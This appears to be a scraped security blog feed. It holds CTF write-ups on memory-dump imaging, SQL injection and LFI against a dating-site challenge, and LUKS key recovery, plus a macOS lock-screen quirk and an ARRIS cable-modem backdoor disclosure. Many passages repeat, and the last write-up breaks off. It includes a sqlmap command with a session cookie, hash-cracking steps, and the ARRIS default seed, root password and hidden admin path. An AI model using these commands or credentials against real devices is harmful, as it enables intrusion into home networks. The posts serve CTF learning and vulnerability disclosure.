A few months ago, I wrote a post detailing how to Scan the Internet & Screenshot All the Things, now it's time to Dump the Memory & Screenshot All the Things.
Memory Dumps
The first thing you will want to do is to narrow the analysis to the process containing interesting images/pictures. I'm going to use three different memory dumps here:
Remote Desktop Client - Windows 7 x64 (mstsc.exe)
Let's use the Windows built-in RDP client to connect to an external server and dump the process
memory using procdump:
Microsoft Paint - Windows 7 x64 (mspaint.exe)
Let's load/save a simple image file on Paint and run procdump again:
9447 2014 CTF Challenge: coor coor - Windows XP (VirtualBox.exe)
RAW Image Data
Rename the file extensions from *.dmp to *.data, download/install GIMP and open them as "RAW Image Data":
That's it, now you can use GIMP to navigate within the memory dump and analyse the rendered pixels/bitmaps on their corresponding offsets. It's worth mentioning that different images will be rendered using different Image types and variable widths: you may need to adjust these values accordingly.
So what can we spot here?
Notice that the Windows are not perfectly aligned here, but we can see the data by zooming in:
We can also spot the Window taskbar, just like the volatility screenshot plugin showed us on the previous write-up:
It's also possible to spot icons from the running programs, like this one from Virtualbox:
Conclusion
This technique is very common among ROM hackers as they try to find image patterns inside raw game dumps. Check my write-up from Hack.lu 2014 CTF to find more about it. By the way, you can also use Tile Molester instead of GIMP to browse the RAW data.
You may be asking - why not carve the dumps using binwalk and foremost or extract them using the dumpfiles volatility module? If you try it yourself you will notice that they won't find the magic bytes for all those images.
As far as I know, there's no off-the-shelf tool to automagically extract them, but it should't be that hard to write a binwalk/volatility plugin for this based on some heuristics. Binwalk, for example, can find raw deflate/lzma streams by building headers on top of the raw compressed data and writing it back do disk.
I'm no Computer Visualization expert, but here's a few suggestions:
I hope you all use these skills wisely, avoiding any kind of superfishal investigation like our Lenovo friends.
![]()
Earlier today, while reading my Twitter timeline, I saw some Infosec folks discussing about scripts/tools to identify RAW pictures in memory dumps. I decided, then, to write this blog post and share a small hack that I use to visualize data (including memory dumps).
A few months ago, I wrote a post detailing how to Scan the Internet & Screenshot All the Things, now it's time to Dump the Memory & Screenshot All the Things.
Memory Dumps
The first thing you will want to do is to narrow the analysis to the process containing interesting images/pictures. I'm going to use three different memory dumps here:
Remote Desktop Client - Windows 7 x64 (mstsc.exe)
Let's use the Windows built-in RDP client to connect to an external server and dump the process
memory using procdump:
procdump.exe -ma mstsc.exe mstsc.dmp
Microsoft Paint - Windows 7 x64 (mspaint.exe)
Let's load/save a simple image file on Paint and run procdump again:
procdump.exe -ma mspaint.exe mspaint.dmp
9447 2014 CTF Challenge: coor coor - Windows XP (VirtualBox.exe)
There's an awesome write-up for this CTF challenge here, go read it now if you haven't yet. We are going to use volatility to isolate the VirtualBox memory dump:
python vol.py -f challenge.vmem pslist
python vol.py -f challenge.vmem memdump -p 1568 --dump-dir=dump/
RAW Image Data
Rename the file extensions from *.dmp to *.data, download/install GIMP and open them as "RAW Image Data":
That's it, now you can use GIMP to navigate within the memory dump and analyse the rendered pixels/bitmaps on their corresponding offsets. It's worth mentioning that different images will be rendered using different Image types and variable widths: you may need to adjust these values accordingly.
So what can we spot here?
- On the RDP memory dump, we can retrieve the tiles and Windows displayed during the connection, including IP's, usernames and commands:
![]() |
Windows commands |
![]() |
Remote Desktop Client Window |
![]() |
RDP session |
- The Microsoft Paint picture can be easily spotted: they're upside down because that's the way BMP's are stored:
We need upside down backdoors "this big" |
- The most interesting artifacts were collected from the Coor Coor dump. The user was running a TrueCrypt container inside VirtualBox and after some offset adjustment we can see the Pidgin Window, the user account (testicool69@yodawg.9447.plumbing) and a few OTR settings:
While True: width ++ || width-- |
Notice that the Windows are not perfectly aligned here, but we can see the data by zooming in:
Enhance pls |
Looks like our killer is screwed. YEEAAAH. |
We can also spot the Window taskbar, just like the volatility screenshot plugin showed us on the previous write-up:
![]() |
python vol.py -f challenge.vmem screenshot -D screenshot/ |
It's also possible to spot icons from the running programs, like this one from Virtualbox:
VirtualBox icon |
Conclusion
This technique is very common among ROM hackers as they try to find image patterns inside raw game dumps. Check my write-up from Hack.lu 2014 CTF to find more about it. By the way, you can also use Tile Molester instead of GIMP to browse the RAW data.
As far as I know, there's no off-the-shelf tool to automagically extract them, but it should't be that hard to write a binwalk/volatility plugin for this based on some heuristics. Binwalk, for example, can find raw deflate/lzma streams by building headers on top of the raw compressed data and writing it back do disk.
I'm no Computer Visualization expert, but here's a few suggestions:
- Set the image width to common display resolutions. The taskbar from the coor coor memory dump could be displayed by setting the width to 1440 points (1440x900 is a common screen resolution).
- Use common window background/patterns as a template to find interesting sections.
- Create a multi-view/side-by-side RAW image browser based on GIMP source code (multiple image types, multiple widths etc).
- Use Google's artificial brain to find cat videos.
- Get a bigger monitor (yeah, it helps).
I hope you all use these skills wisely, avoiding any kind of superfishal investigation like our Lenovo friends.

↧
CSAW CTF 2015 Write Up: Weebdate (web500)
The anual CSAW CTF Qualification Round took place on September 18-20 and it was yet another really cool CTF. I played with my friends from TheGoonies and we ranked #128 overall (The Goonies 'R' Good Enough).
Task - Weebdate (web500)
This is a basic Flask application running a dating site. The website has some features like most web applications we are used to: creating users, editing profiles, sending messages, searching users and exposing the whole customer data thourgh SQL Injection and LFI.
SQLi
The CSP reporting URI was vulnerable to SQL injection. SQLmap had no problems finding and exploiting it.
user_register_time and user_profile.
Passwords had a SHA256 pattern so I quickly started cracking them using John The Ripper:
Most cracked passwords had patterns like 'testtest', 'lablab' and 'guest1guest1'. After some time I realised that the username was used as a Salt. I generated a small wordlist concatenating donaldtrump's user and password and I finally managed to crack it:
The login form displays "Invalid verification code" when you type a wrong TOTP verification code and it returns "Invalid credentials" when you mistype the password. I knew that his password was 'zebra' but I still needed to find out the TOTP algorithm in order to steal his seed.
LFI
The 'image_url' parameter from '/profile/edit' was vulnerable to LFI, displaying the full content from local files:
A curious note here is that it was the first time I managed to find a bug using Burp Collaborator. The scanner identified the external HTTP/DNS interaction and after some digging I quickly found the LFI =)
Aftersome a lot of time bruteforcing the dirs and files, we managed to find the server root:
We are particularly interested on the generate_seed() function:
- server.py
- utils.py
The TOTP is not stored server-side: it is generated at runtime using a seed based on the username and his registration IP Address. We had the user IP address from the SQLi dump and we can now use the get_otp_key() function to generate his TOTP key:
The flag is the md5($totpkey.$password): a8815ecd3c2b6d8e2e884e5eb6916900
Task - Weebdate (web500)
Since the Ashley Madison hack, a lot of high profile socialites have scrambled to find the hottest new dating sites. Unfortunately for us, that means they're taking more safety measures and only using secure websites. We have some suspicions that Donald Trump is using a new dating site called "weebdate" and also selling cocaine to fund his presidential campaign. We need you to get both his password and his 2 factor TOTP key so we can break into his profile and investigate.
Flag is md5($totpkey.$password)
http://54.210.118.179/
Flag is md5($totpkey.$password)
http://54.210.118.179/
This is a basic Flask application running a dating site. The website has some features like most web applications we are used to: creating users, editing profiles, sending messages, searching users and exposing the whole customer data thourgh SQL Injection and LFI.
SQLi
The CSP reporting URI was vulnerable to SQL injection. SQLmap had no problems finding and exploiting it.
python sqlmap.py -u 'http://54.210.118.179:80/csp/view/1' --cookie='session=donaldtrump010_1442717300_f65cb746b519c2b49f8e938a896e08e96f5fc533' --dbms=mysql --batch
The 'weeb' database had three tables: messages, reports and users. The 'user' table had eight columns: user_id, user_name, user_password, user_ip, user_image, user_credits,user_register_time and user_profile.
Passwords had a SHA256 pattern so I quickly started cracking them using John The Ripper:
john --format=raw-sha256 hash.txt --wordlist=rockyou.txt
Most cracked passwords had patterns like 'testtest', 'lablab' and 'guest1guest1'. After some time I realised that the username was used as a Salt. I generated a small wordlist concatenating donaldtrump's user and password and I finally managed to crack it:
The login form displays "Invalid verification code" when you type a wrong TOTP verification code and it returns "Invalid credentials" when you mistype the password. I knew that his password was 'zebra' but I still needed to find out the TOTP algorithm in order to steal his seed.
LFI
The 'image_url' parameter from '/profile/edit' was vulnerable to LFI, displaying the full content from local files:
A curious note here is that it was the first time I managed to find a bug using Burp Collaborator. The scanner identified the external HTTP/DNS interaction and after some digging I quickly found the LFI =)
After
We are particularly interested on the generate_seed() function:
- server.py
- utils.py
The TOTP is not stored server-side: it is generated at runtime using a seed based on the username and his registration IP Address. We had the user IP address from the SQLi dump and we can now use the get_otp_key() function to generate his TOTP key:
The flag is the md5($totpkey.$password): a8815ecd3c2b6d8e2e884e5eb6916900
↧
Mac OS X 10.11 Partial Lock Screen Bypass
Lock screen bypasses are becoming mainstream. The most notable recent bypasses are the one from Ubuntu 14.04 (hold enter, lock screen crashes, computer unlocked) and the one from Android 5.x (input large strings in the password field, destabilize the lock screen, crash to the home screen).
Many respected researcher had found and published something about this class of bugs and this blog is no different: this post describes acompletely uselesssuper serious vulnerability affecting Mac OS X 10.11 and earlier.
Mac OS X 10.11 Partial Lock Screen Bypass
Mac OS X 10.11 (and probably older versions) are vulnerable to a partial lock screen bypass. This is not a *complete* lock screen bypass as you won't be able to freely interact with the Desktop (as far as I know). Here are the steps to reproduce this bug:
1 - Hit the Exposé Key (F3)
2 - Click on any window and keep holding it
3 - Keep holding the left mouse button and lock the screen using Command + Option + Eject (hold all these keys together for some time)
That's it, now the lock screen has an "extra layer" with the miniaturised desktop windows. If you move the mouse cursor over the correct application position and hit the Space Key, a bigger window will be displayed.
You can watch Youtube videos and interact with media players (Quicktime, Spotify etc) using the media control keys. You can't interact directly with the app: if you left-click on the windows or hit Enter, the lock screen takes over that invisible layer.
Proof-of-concept - Mac OS X 10.11:
If Youtube is blocking the video in your country, watch it here:
If you are a serious tech journalist reporting about thisbug feature, don't forget to say that this is specially useful to play Youtube and Spotify playlists during parties at a friend's house. You don't want to leave you Mac logged in and unattended, so you simply preload the playlist and lock the screen using this cool technique.
Bonus: Mac OS X 10.11 Hidden Window Bug
This is yet anotheruseless totally serious bug affecting the new Mac OS X El Capitain. You can hide an application window from the user by moving them to another display and alternating the screen mirroring options. Here are the steps to reproduce this bug:
1 - Connect your monitor to an external display ("Use As Separate Display")
2 - Move the window you want to hide to the secondary display
3 - Hit the Exposé Key (F3), move the mouse cursor over the window you want to hide and hit the Space Key.
4 - Alternate the screen mirroring options by inputting Command + F1
5 - The window is gone (OMGBBQ!!!)
Proof-of-concept - Mac OS X 10.11:
Many respected researcher had found and published something about this class of bugs and this blog is no different: this post describes a
Mac OS X 10.11 Partial Lock Screen Bypass
Mac OS X 10.11 (and probably older versions) are vulnerable to a partial lock screen bypass. This is not a *complete* lock screen bypass as you won't be able to freely interact with the Desktop (as far as I know). Here are the steps to reproduce this bug:
1 - Hit the Exposé Key (F3)
2 - Click on any window and keep holding it
3 - Keep holding the left mouse button and lock the screen using Command + Option + Eject (hold all these keys together for some time)
That's it, now the lock screen has an "extra layer" with the miniaturised desktop windows. If you move the mouse cursor over the correct application position and hit the Space Key, a bigger window will be displayed.
You can watch Youtube videos and interact with media players (Quicktime, Spotify etc) using the media control keys. You can't interact directly with the app: if you left-click on the windows or hit Enter, the lock screen takes over that invisible layer.
Proof-of-concept - Mac OS X 10.11:
If Youtube is blocking the video in your country, watch it here:
If you are a serious tech journalist reporting about this
Bonus: Mac OS X 10.11 Hidden Window Bug
This is yet another
1 - Connect your monitor to an external display ("Use As Separate Display")
2 - Move the window you want to hide to the secondary display
3 - Hit the Exposé Key (F3), move the mouse cursor over the window you want to hide and hit the Space Key.
4 - Alternate the screen mirroring options by inputting Command + F1
5 - The window is gone (OMGBBQ!!!)
Proof-of-concept - Mac OS X 10.11:
I personally use this to hide all the Mac applications from coworkers who leave their computers unlocked and unattended.
↧
Hack.lu 2015 CTF Write Up: Dr. Bob (Forensic 150)
Hack.lu 2015 CTF was organised by fluxfingers during October 20-22. It's one of the coolest CTFs around, the only drawback is that it runs during week days (hey guys patch this for the next years). My team TheGoonies ranked #49th, which is not bad considering we only played part-time.
The task Dr. Bob was the one I found most interesting as it included disk forensics, memory forensics and basic crypto tasks.
Task: Dr. Bob (Forensic 150)
The file provided is a VirtualBox image in a saved state. According to the challenge instructions, we have to retrieve the flag from the user home folder. The VM starts on a login terminal of what seems to be a Linux distro.
The easiest route here is to convert the VDI image to raw, mount and extract the key from the home folder. VirtualBox has a builtin tool to convert VDI to raw and it's as simple as:
Let's identify the raw image and mount it externally:
There are two interesting devices: /dev/vg/root and /dev/vg/home, let's 1 - mount the home folder, 2 - grab the flag and 3 - PROFIT!!!
Oh noes, the disk is encrypted... I couldn't find any useful data on the root device (/dev/vg/root). I tried to crack some local password hashes but I didn't get anything and logs/history files didn't reveal any secrets. Time to unleash some CSI skills and perform live memory forensics.
Memory Forensics: Rekall
Unlike VMWare virtual machines, VirtualBox does not offer an easy-to-use memory dump (as far as I know). What do we do now? It's time to perform VM introspection with Rekall.
Rekall is the first memory framework to support transparent introspection of VMs with any host-guest OS combination and is independent of the virtualization software layer.
Building the Profile
Linux support in Rekall requires a tailoured profile to the running kernel as well as the System map file. The profile file contains all the debugging symbols extracted into a Rekall standard profile format. To generate this file, it is necessary to build a kernel module with debugging symbols enabled, and then parse the DWARF debugging symbols.
The operating system is a Debian 7.9 i686, with 3.2.0-4-486 Kernel.
The Linux Guide from rekall repository is pretty straightforward. I downloaded a Debian 7.9 i386 ISO, installed it on a clean system, installed the Kernel headers from the target VM and built the corresponding profiles. I mirrored them here:
Now that we have the proper profile, we can run VirtualBox, start the VM and perform live forensics on the guest machine.
The vmscan plugin scans the physical memory attempting to find hypervisors and group them together logically as virtual machines.
It's possible to run plugins on any VM by using the --ept (Extended Page Tables) parameter on the command line. To run a rekall plugin on a VM that vmscan found, invoke rekall as you normally would, but add --ept EPT_VALUE as a parameter.
I tried to use the base Plugins that supports Linux analysis, but none of them revealed the secrets necessary to decrypt the disk.
After some time I decided to take a different approach and dump the full memory from the Guest VM and carve for some secrets.
Extracting AES Keys from the Memory Dump
You can use tools like bulk_extractor and findaes to extract AES keys from memory dumps. These programs work by carving the images and eliminating anything which is not a valid AES key schedule.
The tools found an AES-128 key, and I now needed to recreate this behavior on a lab to make sure that it was the encryption master-key. I set up an encrypted volume on a Debian installation and dumped the master keys using cryptsetup:
After that, I dumped the operating system memory and used bulk_extractor to search for AES Keys:
The AES256 key matches with the MK dump, what brings us to the final step.
Decrypting LUKS volume using the Master Key
Now that we have the AES Key, all we need to do is follow this guide - Cryptsetup and the master key - and decrypt '/dev/vg/home'. There's no command-line to decrypt the disk using the master-key, everything is kind of hackish (you need to corrupt the headers and create a new one using the key).
The Master Key (MK) has 128 bits, which is a good sign. The payload offset is 2048 and we need to do some basic math here to get the LUKS header size: 2048 * 512 / 1024 = 1024 (fdisk -l shows that the cluster size is 512 bytes).
We now proceed to write a new LUKS header on the device using the extracted MK, assigning a new passphrase:
They tried to hide the flag from "/bin/cat" using the carriage return char (0x0D), but hexdump and Pluma had no problems displaying it:
Flag: flag{v0t3_f0r_p3dr0}
Update 1: @rbaranyi and David Berard pointed out that replacing '/etc/shadow', login with the known password and then use 'strings /dev/lvm' would be easier. That's true, but that wouldn't involve any kind of memory inception.
Update 2: David Berard pointed out that newer 'cryptsetup' offers an option to set a new passphrase using the master key: 'cryptsetup luksAddKey --master-key-file=<master-key-file> <luks device>'
Update 3: According to the writeup from CLGT, you can also dump VirtualBox RAM using this administrative command: 'VBoxManage debugvm SafeClone dumpvmcore --filename=getthekey'
Update 4: Some teams used the dm_dump volatility plugin: it identifies disks on the target system which were mounted using the device-mapper framework. The output of this plugin gives you the arguments to pass to the dmsetup command to remount the original unencrypted file system on a different machine.
The task Dr. Bob was the one I found most interesting as it included disk forensics, memory forensics and basic crypto tasks.
Task: Dr. Bob (Forensic 150)
There are elections at the moment for the representative of the students and the winner will be announced tomorrow by the head of elections Dr. Bob. The local schoolyard gang is gambling on the winner and you could really use that extra cash. Luckily, you are able to hack into the mainframe of the school and get a copy of the virtual machine that is used by Dr. Bob to store the results. The desired information is in the file /home/bob/flag.txt, easy as that.
The easiest route here is to convert the VDI image to raw, mount and extract the key from the home folder. VirtualBox has a builtin tool to convert VDI to raw and it's as simple as:
C:\Program Files\Oracle\VirtualBox\VBoxManage.exe internalcommands converttoraw c:\ctf\home\dr_bob\.VirtualBox\Safe\Safe.vdi c:\ctf\safe.dd
Let's identify the raw image and mount it externally:
sudo fdisk -lu safe.dd
sudo losetup -o 1048576 /dev/loop0 safe.dd
sudo lvmdiskscan
There are two interesting devices: /dev/vg/root and /dev/vg/home, let's 1 - mount the home folder, 2 - grab the flag and 3 - PROFIT!!!
Oh noes, the disk is encrypted... I couldn't find any useful data on the root device (/dev/vg/root). I tried to crack some local password hashes but I didn't get anything and logs/history files didn't reveal any secrets. Time to unleash some CSI skills and perform live memory forensics.
Memory Forensics: Rekall
Unlike VMWare virtual machines, VirtualBox does not offer an easy-to-use memory dump (as far as I know). What do we do now? It's time to perform VM introspection with Rekall.
![]() |
Memory Analysis Inception |
Building the Profile
Linux support in Rekall requires a tailoured profile to the running kernel as well as the System map file. The profile file contains all the debugging symbols extracted into a Rekall standard profile format. To generate this file, it is necessary to build a kernel module with debugging symbols enabled, and then parse the DWARF debugging symbols.
The operating system is a Debian 7.9 i686, with 3.2.0-4-486 Kernel.
The Linux Guide from rekall repository is pretty straightforward. I downloaded a Debian 7.9 i386 ISO, installed it on a clean system, installed the Kernel headers from the target VM and built the corresponding profiles. I mirrored them here:
Memory Analysis Inception
Now that we have the proper profile, we can run VirtualBox, start the VM and perform live forensics on the guest machine.
The vmscan plugin scans the physical memory attempting to find hypervisors and group them together logically as virtual machines.
It's possible to run plugins on any VM by using the --ept (Extended Page Tables) parameter on the command line. To run a rekall plugin on a VM that vmscan found, invoke rekall as you normally would, but add --ept EPT_VALUE as a parameter.
rekal -f \\.\pmem vmscan --live
rekal.exe -f \\.\pmem --profile Debian-3.2.0-4-486.zip --ept 0x1ECC0701E
I tried to use the base Plugins that supports Linux analysis, but none of them revealed the secrets necessary to decrypt the disk.
After some time I decided to take a different approach and dump the full memory from the Guest VM and carve for some secrets.
imagecopy output_image='memdump.raw'
Extracting AES Keys from the Memory Dump
You can use tools like bulk_extractor and findaes to extract AES keys from memory dumps. These programs work by carving the images and eliminating anything which is not a valid AES key schedule.
./findaes memdump.raw
The tools found an AES-128 key, and I now needed to recreate this behavior on a lab to make sure that it was the encryption master-key. I set up an encrypted volume on a Debian installation and dumped the master keys using cryptsetup:
cryptsetup luksDump --dump-master-key /dev/sda5
After that, I dumped the operating system memory and used bulk_extractor to search for AES Keys:
bulk_extractor memdump.raw
The AES256 key matches with the MK dump, what brings us to the final step.
Decrypting LUKS volume using the Master Key
Now that we have the AES Key, all we need to do is follow this guide - Cryptsetup and the master key - and decrypt '/dev/vg/home'. There's no command-line to decrypt the disk using the master-key, everything is kind of hackish (you need to corrupt the headers and create a new one using the key).
sudo losetup -o 1048576 /dev/loop1 safe.dd
cryptsetup -v luksDump /dev/vg/home
The Master Key (MK) has 128 bits, which is a good sign. The payload offset is 2048 and we need to do some basic math here to get the LUKS header size: 2048 * 512 / 1024 = 1024 (fdisk -l shows that the cluster size is 512 bytes).
We now proceed to write a new LUKS header on the device using the extracted MK, assigning a new passphrase:
dd if=/dev/vg/home of=test.img
hexdump -C -n 80 test.img
dd if=/dev/zero of=test.img conv=notrunc bs=1024 count=1
hexdump -C -v -n 80 test.img
echo 1fab015c1e3df9eac8728f65d3d16646 | xxd -r -p > key.bin
hexdump -C -n 80 test.img
dd if=/dev/zero of=test.img conv=notrunc bs=1024 count=1
hexdump -C -v -n 80 test.img
echo 1fab015c1e3df9eac8728f65d3d16646 | xxd -r -p > key.bin
cryptsetup luksFormat --verify-passphrase --cipher=aes-ecb --hash=sha1 --key-size=128 --master-key-file=key.bin test.img
They tried to hide the flag from "/bin/cat" using the carriage return char (0x0D), but hexdump and Pluma had no problems displaying it:
Flag: flag{v0t3_f0r_p3dr0}
Update 1: @rbaranyi and David Berard pointed out that replacing '/etc/shadow', login with the known password and then use 'strings /dev/lvm' would be easier. That's true, but that wouldn't involve any kind of memory inception.
Update 2: David Berard pointed out that newer 'cryptsetup' offers an option to set a new passphrase using the master key: 'cryptsetup luksAddKey --master-key-file=<master-key-file> <luks device>'
Update 3: According to the writeup from CLGT, you can also dump VirtualBox RAM using this administrative command: 'VBoxManage debugvm SafeClone dumpvmcore --filename=getthekey'
Update 4: Some teams used the dm_dump volatility plugin: it identifies disks on the target system which were mounted using the device-mapper framework. The output of this plugin gives you the arguments to pass to the dmsetup command to remount the original unencrypted file system on a different machine.
↧
↧
ARRIS Cable Modem has a Backdoor in the Backdoor
A couple of months ago, some friends invited me to give a talk at NullByte Security Conference. I started to study about some embedded device junk hacking hot topics and decided to talk about cable modem security. Braden Thomas keynoted at Infiltrate 2015 discussing about Practical Attacks on DOCSIS so, yeah, cable modem hacking is still mainstream.
On November 21st I'll be at Salvador speaking on "Hacking cable modems: The Later Years". It's not a talk about theft of service and getting free Internet access. I'll focus on the security of the cable modems, the technology used to manage them, how the data is protected and how the ISPs upgrade the firmwares. Spoiler Alert: everything's really really bad.
Securing cable modems is more difficult than other embedded devices because, on most cases, you can’t choose your own device/firmware and software updates are almost entirely controlled by your ISP.
While researching on the subject, I found a previously undisclosed backdoor on ARRIS cable modems, affecting many of their devices including TG862A, TG862G, DG860A. As of this writing, Shodan searches indicate that the backdoor affects over 600.000 externally accessible hosts and the vendor did not state whether it's going to fix it yet.
ARRIS Backdoors
ARRIS SOHO-grade cable modems contain an undocumented library (libarris_password.so) that acts as a backdoor, allowing privileged logins using a custom password.
The following files load the backdoor library on ARRIS TG862A Firmware TS0705125D_031115_MODEL_862_GW (released on 2015):
ARRIS password of the day is a remote backdoor known since 2009. It uses a DES encoded seed (set by the ISP using the arrisCmDoc30AccessClientSeed MIB) to generate a daily backdoor password. The default seed is MPSJKMDHAI and guess what - many ISPs won't bother changing it at all.
The backdoor account can be used to enable Telnet and SSH remotely via the hidden HTTP Administrative interface "http://192.168.100.1/cgi-bin/tech_support_cgi" or via custom SNMP MIBs.
The default password for the SSH user 'root' is 'arris'. When you access the telnet session or authenticate over SSH, the system spawns the 'mini_cli' shell asking for the backdoor password.
When you log using the password of the day, you are redirected to a restricted technician shell ('/usr/sbin/cli')
In order to understand how the backdoor works, I built an Puma5 toolchain (ARMEB) and cross compiled some useful tools like strace, tcpdump and gdbserver. I hosted them on my Github, get them here:
- https://github.com/bmaia/cross-utils/tree/master/armeb
While analyzing the backdoor library and the restricted shells, I found an interesting code on the authentication check:
Yes, they put a backdoor in the backdoor (Joel from Dlink is sure to be envy). The undocumented backdoor password is based on the last five digits from the modem's serial number. You get a full busybox shell when you log on the Telnet/SSH session using these passwords.
The vendor asked not to disclose details about the password generation algorithm. I'm really relieved knowing that those awful guys from Metasploit won't be able to reverse this in a timely manner.
Vulnerability, Disclosure and Marketing
Of course, we need a logo so the media can report about this with fancy graphs as well as vendors could distribute customized t-shits at Blackhat.
What I like most about lcamtuf is how visionary he is. While people were still writing dumb fuzzers, hewrote AFL performed a detailed Technical analysis of Qualys' GHOST. Based on his analysis, I hired a couple of marketing specialists to find out the best way to disclose the ARRIS backdoor.
What do we have here?
- Multiple backdoors allowing full remote access to ARRIS Cable modems
- An access key that is generated based on the Cable modem's serial number
After a thoughtful analysis, the marketing committee advised w00tsec members to write a Keygen. In order to write a Keygen, we need a leet ascii art and a cool chiptune. The chosen font was ROYAFNT1.TDF, from the legendary artist Roy/SAC and the chiptune is Toilet Story 5, by Ghidorah.
Here's the POC (make sure you turn the sound on):
Conclusion
I reported these flaws to CERT/CC on 2015-09-13 but we didn't receive much feedback from the vendor. CERT/CC was very helpful and responsive (10/10 would disclose again!). I was asked not to release the POCs immediately so I'm going to wait for the vendor to "fix" the issue.
CERT/CC set a disclosure policy of 45 days long ago. They waited for more than 65 days for them to "fix" it but ARRIS didn't remove the backdoors in a timely manner. Someone needs to update the Responsible Disclosure RFC and include a note describing that vendors shall lose disclosure points whenever they plant a backdoor on the device (ARRIS modems have a third backdoor too, check the ConsoleCowboys Blog).
I'm pretty sure bad guys had been exploiting flaws on these devices for some time (just search for ARRIS DNS on Twitter, for example). We need more people bypassing EULAs and reversing end-user software and firmware. If you haven't heard about the Firmware.RE, check them right now. A broader view on firmwares is not only beneficial, but necessary to discover new vulnerabilities and backdoors, correlating different device families and showing how vulnerabilities reappear across different products.
To all the vendors out there, I would like to finish this post by quoting @daveitel:
On November 21st I'll be at Salvador speaking on "Hacking cable modems: The Later Years". It's not a talk about theft of service and getting free Internet access. I'll focus on the security of the cable modems, the technology used to manage them, how the data is protected and how the ISPs upgrade the firmwares. Spoiler Alert: everything's really really bad.
Securing cable modems is more difficult than other embedded devices because, on most cases, you can’t choose your own device/firmware and software updates are almost entirely controlled by your ISP.
While researching on the subject, I found a previously undisclosed backdoor on ARRIS cable modems, affecting many of their devices including TG862A, TG862G, DG860A. As of this writing, Shodan searches indicate that the backdoor affects over 600.000 externally accessible hosts and the vendor did not state whether it's going to fix it yet.
ARRIS Backdoors
ARRIS SOHO-grade cable modems contain an undocumented library (libarris_password.so) that acts as a backdoor, allowing privileged logins using a custom password.
The following files load the backdoor library on ARRIS TG862A Firmware TS0705125D_031115_MODEL_862_GW (released on 2015):
/usr/sbin/arris_init
/usr/sbin/dimclient
/usr/sbin/docsis_mac_manager
/usr/sbin/ggncs
/usr/sbin/gw_api
/usr/sbin/mini_cli
/usr/sbin/pacm_snmp_agent
/usr/sbin/snmp_agent_cm
/usr/www/cgi-bin/adv_pwd_cgi
/usr/www/cgi-bin/tech_support_cgi
/usr/sbin/dimclient
/usr/sbin/docsis_mac_manager
/usr/sbin/ggncs
/usr/sbin/gw_api
/usr/sbin/mini_cli
/usr/sbin/pacm_snmp_agent
/usr/sbin/snmp_agent_cm
/usr/www/cgi-bin/adv_pwd_cgi
/usr/www/cgi-bin/tech_support_cgi
ARRIS password of the day is a remote backdoor known since 2009. It uses a DES encoded seed (set by the ISP using the arrisCmDoc30AccessClientSeed MIB) to generate a daily backdoor password. The default seed is MPSJKMDHAI and guess what - many ISPs won't bother changing it at all.
The backdoor account can be used to enable Telnet and SSH remotely via the hidden HTTP Administrative interface "http://192.168.100.1/cgi-bin/tech_support_cgi" or via custom SNMP MIBs.
The default password for the SSH user 'root' is 'arris'. When you access the telnet session or authenticate over SSH, the system spawns the 'mini_cli' shell asking for the backdoor password.
When you log using the password of the day, you are redirected to a restricted technician shell ('/usr/sbin/cli')
Restricted shells are ;restricted |
- https://github.com/bmaia/cross-utils/tree/master/armeb
While analyzing the backdoor library and the restricted shells, I found an interesting code on the authentication check:
Yes, they put a backdoor in the backdoor (Joel from Dlink is sure to be envy). The undocumented backdoor password is based on the last five digits from the modem's serial number. You get a full busybox shell when you log on the Telnet/SSH session using these passwords.
The vendor asked not to disclose details about the password generation algorithm. I'm really relieved knowing that those awful guys from Metasploit won't be able to reverse this in a timely manner.
Vulnerability, Disclosure and Marketing
Of course, we need a logo so the media can report about this with fancy graphs as well as vendors could distribute customized t-shits at Blackhat.
What I like most about lcamtuf is how visionary he is. While people were still writing dumb fuzzers, he
What do we have here?
- Multiple backdoors allowing full remote access to ARRIS Cable modems
- An access key that is generated based on the Cable modem's serial number
After a thoughtful analysis, the marketing committee advised w00tsec members to write a Keygen. In order to write a Keygen, we need a leet ascii art and a cool chiptune. The chosen font was ROYAFNT1.TDF, from the legendary artist Roy/SAC and the chiptune is Toilet Story 5, by Ghidorah.
Here's the POC (make sure you turn the sound on):
Conclusion
I reported these flaws to CERT/CC on 2015-09-13 but we didn't receive much feedback from the vendor. CERT/CC was very helpful and responsive (10/10 would disclose again!). I was asked not to release the POCs immediately so I'm going to wait for the vendor to "fix" the issue.
CERT/CC set a disclosure policy of 45 days long ago. They waited for more than 65 days for them to "fix" it but ARRIS didn't remove the backdoors in a timely manner. Someone needs to update the Responsible Disclosure RFC and include a note describing that vendors shall lose disclosure points whenever they plant a backdoor on the device (ARRIS modems have a third backdoor too, check the ConsoleCowboys Blog).
I'm pretty sure bad guys had been exploiting flaws on these devices for some time (just search for ARRIS DNS on Twitter, for example). We need more people bypassing EULAs and reversing end-user software and firmware. If you haven't heard about the Firmware.RE, check them right now. A broader view on firmwares is not only beneficial, but necessary to discover new vulnerabilities and backdoors, correlating different device families and showing how vulnerabilities reappear across different products.
To all the vendors out there, I would like to finish this post by quoting @daveitel:
↧
0CTF 2016 Write Up: Monkey (Web 4)
The Chinese 0CTF took place on March 12-13 and it was yet another fun CTF. I played with my teammates from TheGoonies and we were ranked #48.
I found the Web task "Monkey" particularly interesting: I solved it with the help from my friend @danilonc, but it took way longer than it should because of some **Spoiler Alert** DNS glitches. According to the scoreboard status, approximately 35 teams were able to solve it.
Task: Monkey (Web - 4pts)
The running application receives a Proof-of-Work string and an arbitrary URL, instructing a "monkey" to browse the inputted URL for 2 minutes.
Proof-of-Work
Solving the proof-of-work is pretty straightforward. We had to generate random strings and compare the first 6 chars from its MD5 against the challenge. The POW challenge was more cpu-intensive than normal, so the traditional bash/python one-liner ctf scripts would require some performance improvements.
@danilonc had written a quick hack using Go to bruteforce and solve POW from older CTF challs, so we just slightly modified it:
The Same-Origin-Policy (SOP) deems pages having the same URI scheme, hostname and port as residing at the same-origin. If any of these three attributes varies, the resource is in a different origin. Hence, if provided resources come from the same hostname, scheme and port, they can interact without restriction.
If you try to use an XMLHttpRequest to send a request to a different origin, you can’t read the response. However, the request will still arrive at its destination. This policy prevents a malicious script on one page from obtaining access to sensitive data (both the header and the body) on another web page, on a different origin.
For this particular CTF challenge, if the secret internal webpage had had an insecure CORS header like "Access-Control-Allow-Origin: *", we would be able to retrieve its data with no effort. This, of course, was not the case.
Bypassing the Same-Origin
The flag was accessible on an internal webserver hosted at http://127.0.0.1:8080/secret. The first thing we did was hooking the monkey's browser using BeEF, so we could fingerprint his device, platform, plugins and components.
There was nothing interesting here, a custom user-agent and no known vulnerable component. We enumerated the chars accepted by the server with the following script:
